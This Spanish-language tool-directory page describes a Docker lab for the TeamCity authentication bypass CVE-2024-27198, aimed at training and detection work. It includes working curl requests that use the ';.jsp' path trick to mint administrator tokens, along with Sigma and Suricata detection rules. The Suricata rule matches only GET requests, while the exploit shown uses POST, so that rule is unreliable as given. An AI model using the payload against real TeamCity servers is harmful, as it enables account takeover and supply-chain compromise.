Skip to content
KitploitKITPLOIT
HerramientasBlog
Enviar
HerramientasBlog
Enviar

¡Herramientas de Hacking, PenTest y Ciberseguridad para tu Arsenal de Seguridad!

Kitploit es un directorio de herramientas de hacking, ciberseguridad y pentesting. Descubre las últimas actualizaciones de proyectos para encontrar vulnerabilidades, analizar sistemas, automatizar pruebas y fortalecer tu seguridad.

··Feeds·Contacto·Privacidad·© 2026 Kitploit

Directorio de Herramientas

Categorías

Ver todas las categorías
Loading categories
CVE-2024-27198_LAB — Laboratorio basado en Docker para la omisión de autenticación CVE-2024-27198 de TeamCity. Incluye reproducción del exploit, búsqueda de IoC con reglas Sigma/Suricata y ejercicios de detección para el equipo azul en entrenamiento de seguridad. | Kitploit
Herramientas/GitHubGitHub/ne0zer01/cve-2024-27198_lab
Autenticación y AutorizaciónAnálisis de VulnerabilidadesExplotaciónExplotación de Aplicaciones WebPruebas de PenetraciónInteligencia de AmenazasDetección de IntrusionesAprendizaje y EducaciónRespuesta a Incidentes

Más Populares

Ver todos →

Descubre las herramientas más usadas por nuestra comunidad.

Explora todas las herramientas

Explora nuestra colección de herramientas

Ver todas las herramientas →
Análisis de Registros
Labs y Práctica
GitHubne0zer01/cve-2024-27198_lab

CVE-2024-27198_LAB

Laboratorio basado en Docker para la omisión de autenticación CVE-2024-27198 de TeamCity. Incluye reproducción del exploit, búsqueda de IoC con reglas Sigma/Suricata y ejercicios de detección para el equipo azul en entrenamiento de seguridad.

Ver Repositorio
4hace 3 mesesAún no revisado
Compartir

Laboratorio CVE-2024-27198

Descripción

TeamCity proporciona una página solo para administradores para la gestión de tokens que no está protegida por autenticación. Esto permite que un usuario no autenticado genere un token de acceso para el usuario administrador si puede encontrar un ID de un usuario existente.


Detalles de CVE

  • ID de CVE: CVE-2024-27198
  • CWE: CWE-288
  • CNA: JetBrains s.r.o.
  • Puntuación Base: 9.8 CRÍTICO
  • Vector:
    • CVSS:3.1
    • AV:N Red
    • AC:L Baja
    • PR:N Ninguno
    • UI:N Ninguno
    • S:U Sin cambios
    • C:H Alta
    • I:H Alta
    • A:H Alta

Inteligencia de Amenazas y OSINT

Impacto y Explotación en el Mundo Real

  • Catálogo KEV de CISA: Añadido el 7 de marzo de 2024, confirmando explotación activa en la naturaleza.
  • Actores de Amenaza: Explotado por múltiples grupos de ransomware y APT, notablemente el grupo de ransomware BianLian y la variante de ransomware Jasmin. Los atacantes usaron esta evasión para crear cuentas de administrador maliciosas, desplegar plugins maliciosos y ejecutar código arbitrario (RCE) para moverse lateralmente dentro de las redes víctimas.
  • Perfil Objetivo: Los pipelines CI/CD son objetivos de alto valor (Ataques a la Cadena de Suministro). Comprometer TeamCity permite a los atacantes inyectar código malicioso en las compilaciones de software, robar código fuente y extraer secretos de despliegue (claves de AWS, certificados).

Por qué este CVE es Crítico

La vulnerabilidad reside en el mecanismo de enrutamiento de la API REST. Al añadir caracteres específicos (como ?jsp=/app/rest/...;.jsp) a un endpoint no autenticado, los atacantes pueden engañar al servidor web de TeamCity para que enrute la solicitud a un endpoint autenticado mientras evitan los filtros de seguridad. Esto no requiere conocimiento previo ni acceso, lo que lo convierte en un CVSS puro de 9.8.


Pasos para reproducir

Iniciar los contenedores

root@kitploit:~
cd CVE-2024-27198
root@kitploit:~
docker compose -f docker-compose.yml up -d

Acceda a la instancia vulnerable de Teamcity en http://localhost:8111. Acceda a la instancia parcheada de Teamcity en http://localhost:8112.


Portal de Inicio de Sesión

Nombre de usuario:

root@kitploit:~
admin

Contraseña:

root@kitploit:~
admin

Probar la vulnerabilidad

Solicitud GET para un recurso sin autenticación:

root@kitploit:~
curl -i http://localhost:8111/app/rest/users
root@kitploit:~
curl -i http://localhost:8112/app/rest/users

Ambos deben devolver un error con código de estado 401.


Generar un token para el usuario administrador

root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8111/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Esto debe devolver un token como este (El token es diferente cada vez):

root@kitploit:~
eyJ0eXAiOiAiVENWMiJ9.T1AzMHJjY3piNC1QWDlFenpnLXdCUkRuSF84.ZmJlODg3ZDQtNjFmYy00ZGQxLTk2MDAtYmJlYjViZjE4NGFi
root@kitploit:~
curl -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Esto debe devolver un error con código de estado 401 porque la instancia parcheada no tiene la vulnerabilidad.


Verificar token

root@kitploit:~
curl -i -H "Authorization: Bearer <TOKEN>" \
  http://localhost:8111/app/rest/users

Debe devolver la lista de usuarios.


Eliminar el token

  1. Vaya a http://localhost:8111 con la cuenta de administrador.
  2. Haga clic en el ícono de perfil en la esquina superior derecha.
  3. Vaya a Perfil -> Tokens de Acceso.
  4. Verá el token "REDTEAM".
  5. Simplemente haga clic en Eliminar junto al token.

Equipo Azul: Búsqueda de IoCs en Registros (El Factor Sigiloso)

Durante la demostración en el laboratorio, puede mostrar un hallazgo masivo del Equipo Azul: ¡por defecto, esta vulnerabilidad es increíblemente sigilosa!

  1. Los registros de acceso de Tomcat están deshabilitados por defecto en la imagen Docker de TeamCity, por lo que las solicitudes HTTP con ;.jsp no se registran.
  2. El registro de auditoría de TeamCity no registra la creación de tokens a través de la API REST.

Entonces, ¿cómo lo atrapamos? ¡Cuando el atacante borra sus huellas! Cuando el atacante elimina su token malicioso para ocultarse, TeamCity sí lo registra.

Encuentre al atacante cubriendo sus huellas en los registros de auditoría:

root@kitploit:~
docker exec teamcity-vulnerable grep "delete_token" /opt/teamcity/logs/teamcity-activities.log

(Verá una entrada de registro que indica que el token "REDTEAM" fue eliminado).


Detener los contenedores

root@kitploit:~
docker compose -f docker-compose.yml down

Mitigación y Detección

Análisis Técnico (CWE-288)

Esta vulnerabilidad es una instancia de CWE-288: Evasión de Autenticación Usando una Ruta o Canal Alternativo. El fallo proviene de un problema de confusión de ruta entre el servidor web Tomcat y el enrutador de la aplicación TeamCity. Al añadir ;.jsp y pasar el endpoint de la API REST objetivo en el parámetro jsp=, el filtro de seguridad inicial interpreta la solicitud como una solicitud no autenticada a un archivo .jsp público (lo que está permitido). Sin embargo, el enrutador interno elimina el ;.jsp y reenvía la solicitud al endpoint restringido /app/rest/ sin aplicar el filtro de autenticación.

Caso de Uso Legítimo (¿Por qué se permite ;?): Tomcat usa el carácter de punto y coma (;) para Parámetros de Matriz. Históricamente, este mecanismo se utiliza para pasar parámetros directamente dentro de la ruta, como añadir JSESSIONID para mantener el estado de la sesión del usuario cuando las cookies están deshabilitadas. Este comportamiento normal y legítimo del servidor web, combinado con la validación incorrecta por parte del enrutador de la aplicación TeamCity, es lo que crea la vulnerabilidad.

Indicadores de Compromiso (IoCs)

Para detectar un compromiso en curso o pasado, los Equipos Azules deben buscar:

  1. Registros Web: Solicitudes HTTP que apunten a endpoints /app/rest/ pero que contengan la cadena anómala ;.jsp en la URI.
  2. Registros de Auditoría (teamcity-server.log): Generación inexplicada de tokens de acceso o creación de nuevas cuentas administrativas.
  3. Nivel del Sistema: Instalación de plugins no reconocidos o sospechosos (a menudo utilizados por atacantes para escalar privilegios y lograr Ejecución Remota de Código).

Detección de Registros (Regla Sigma)

Debido a que la explotación inicial es sigilosa por defecto, los Equipos Azules deben confiar en la detección de las acciones posteriores a la explotación del atacante, como cubrir sus huellas. Aquí hay una regla Sigma para su SIEM para detectar eliminaciones de tokens sospechosas:

root@kitploit:~
title: Eliminación Sospechosa de Token en JetBrains TeamCity (Post-Explotación CVE-2024-27198)
id: 9a2b53f6-1234-4567-890a-abcdef123456
status: experimental
description: Detecta a un atacante cubriendo sus huellas después de explotar CVE-2024-27198 eliminando su token malicioso.
author: Purple Team
date: 2026-05-18
logsource:
    category: application
    product: teamcity
detection:
    selection:
        message|contains: 'delete_token_for_user'
    condition: selection
level: medium

Demostración en Vivo del SIEM (Equipo Azul)

Para demostrar que esta detección funciona, ejecute el script siem_simulator.py.

  1. Abra una segunda terminal junto a su terminal de explotación.
  2. Asegúrese de que el contenedor vulnerable esté en ejecución (docker compose up -d).
  3. Ejecute el simulador:
root@kitploit:~
python3 siem_simulator.py
  1. En la primera terminal, ejecute la explotación, verifique el token y luego elimine el token a través de la interfaz web.
  2. Observe cómo la segunda terminal se ilumina con una alerta crítica en rojo que muestra la regla Sigma atrapando al atacante cubriendo sus huellas.

Remediación

  • Parche Oficial: Actualice TeamCity a la versión 2023.11.4 o superior, que sanitiza adecuadamente y aplica el enrutamiento de rutas en el backend.
  • Solución Alternativa: Si no es posible parchear, JetBrains lanzó un plugin de parche de seguridad que se puede instalar en instancias vulnerables.

Detección de Red (Regla Suricata / Snort)

Para detectar este intento de explotación en la red, un SOC puede implementar la siguiente regla IDS, que busca el patrón anómalo ;.jsp combinado con rutas de la API REST:

root@kitploit:~
alert tcp $EXTERNAL_NET any -> $HTTP_SERVERS $HTTP_PORTS (msg:"EXPLOIT JetBrains TeamCity Auth Bypass Attempt (CVE-2024-27198)"; flow:established,to_server; content:"GET"; http_method; content:"?jsp=/app/rest/"; http_uri; content:";.jsp"; http_uri; classtype:attempted-admin; sid:1000001; rev:1;)

Probar la versión parcheada (Demostración de Laboratorio)

Para demostrar que la mitigación funciona, puede lanzar la misma carga útil de explotación contra el contenedor parcheado de TeamCity que se ejecuta en el puerto 8112:

root@kitploit:~
curl -i -X POST -H "Content-Type: application/json" \
  "http://localhost:8112/hax?jsp=/app/rest/users/id:1/tokens/REDTEAM;.jsp" \
  -d '{"name":"REDTEAM"}'

Debido a que el parche aplica estrictamente la coincidencia de rutas y sanitiza correctamente los parámetros de matriz, la evasión fallará. Debería ver una respuesta 401 No Autorizado o 404 No Encontrado en lugar de un token generado.


Enlaces

  • CVE-2024-27198
Descargar herramienta